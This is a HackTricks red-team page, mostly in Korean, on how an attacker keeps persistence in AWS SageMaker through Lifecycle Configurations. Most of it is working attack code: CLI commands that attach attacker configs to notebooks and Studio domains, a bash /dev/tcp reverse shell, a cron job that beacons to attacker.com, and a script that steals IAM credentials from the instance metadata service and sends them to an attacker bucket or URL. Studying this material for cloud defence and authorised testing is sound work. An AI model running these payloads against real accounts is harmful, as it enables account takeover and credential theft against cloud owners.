Aws Sagemaker Persistence
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Overview of Persistence Techniques
이 섹션에서는 Lifecycle Configurations (LCCs)를 악용하여 SageMaker에서 지속성을 얻는 방법을 설명합니다. 여기에는 리버스 셸, 크론 작업, IMDS를 통한 자격 증명 도용 및 SSH 백도어가 포함됩니다. 이러한 스크립트는 인스턴스의 IAM 역할로 실행되며 재시작 간에도 지속될 수 있습니다. 대부분의 기술은 아웃바운드 네트워크 액세스를 요구하지만, AWS 제어 플레인에서 서비스 사용은 'VPC 전용' 모드일 때도 성공할 수 있습니다.
Note: SageMaker 노트북 인스턴스는 본질적으로 머신 러닝 작업을 위해 특별히 구성된 관리형 EC2 인스턴스입니다.
Required Permissions
- Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
- 스튜디오 애플리케이션:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
노트북 인스턴스에 대한 수명 주기 구성 설정
예제 AWS CLI 명령:
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
SageMaker Studio에서 생애 주기 구성 설정
생애 주기 구성은 SageMaker Studio 내의 다양한 수준과 다양한 앱 유형에 연결될 수 있습니다.
스튜디오 도메인 수준 (모든 사용자)
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
스튜디오 공간 수준 (개인 또는 공유 공간)
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Studio 애플리케이션 라이프사이클 구성 유형
라이프사이클 구성은 다양한 SageMaker Studio 애플리케이션 유형에 특별히 적용될 수 있습니다:
- JupyterServer: Jupyter 서버 시작 시 스크립트를 실행하며, 리버스 셸 및 크론 작업과 같은 지속성 메커니즘에 적합합니다.
- KernelGateway: 커널 게이트웨이 앱 시작 시 실행되며, 초기 설정 또는 지속적인 액세스에 유용합니다.
- CodeEditor: 코드 편집 세션 시작 시 실행되는 스크립트를 활성화하는 Code Editor (Code-OSS)에 적용됩니다.
각 유형에 대한 예제 명령:
JupyterServer
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
KernelGateway
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
CodeEditor
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
Critical Info:
- 도메인 또는 공간 수준에서 LCC를 연결하면 범위 내의 모든 사용자 또는 애플리케이션에 영향을 미칩니다.
- 일반적으로 도메인 수준보다 공간 수준에서 더 실현 가능하도록 더 높은 권한(sagemaker:UpdateDomain, sagemaker:UpdateSpace)이 필요합니다.
- 네트워크 수준의 제어(예: 엄격한 이그레스 필터링)는 성공적인 리버스 셸 또는 데이터 유출을 방지할 수 있습니다.
Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs)는 노트북 인스턴스가 시작될 때 사용자 정의 스크립트를 실행합니다. 권한이 있는 공격자는 지속적인 리버스 셸을 설정할 수 있습니다.
Payload Example:
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
Cron Job Persistence via Lifecycle Configuration
공격자는 LCC 스크립트를 통해 크론 작업을 주입할 수 있으며, 이를 통해 악성 스크립트나 명령의 주기적인 실행을 보장하여 은밀한 지속성을 가능하게 합니다.
Payload Example:
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
IMDS를 통한 자격 증명 유출 (v1 & v2)
라이프사이클 구성은 인스턴스 메타데이터 서비스(IMDS)에 쿼리하여 IAM 자격 증명을 검색하고 이를 공격자가 제어하는 위치로 유출할 수 있습니다.
페이로드 예:
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.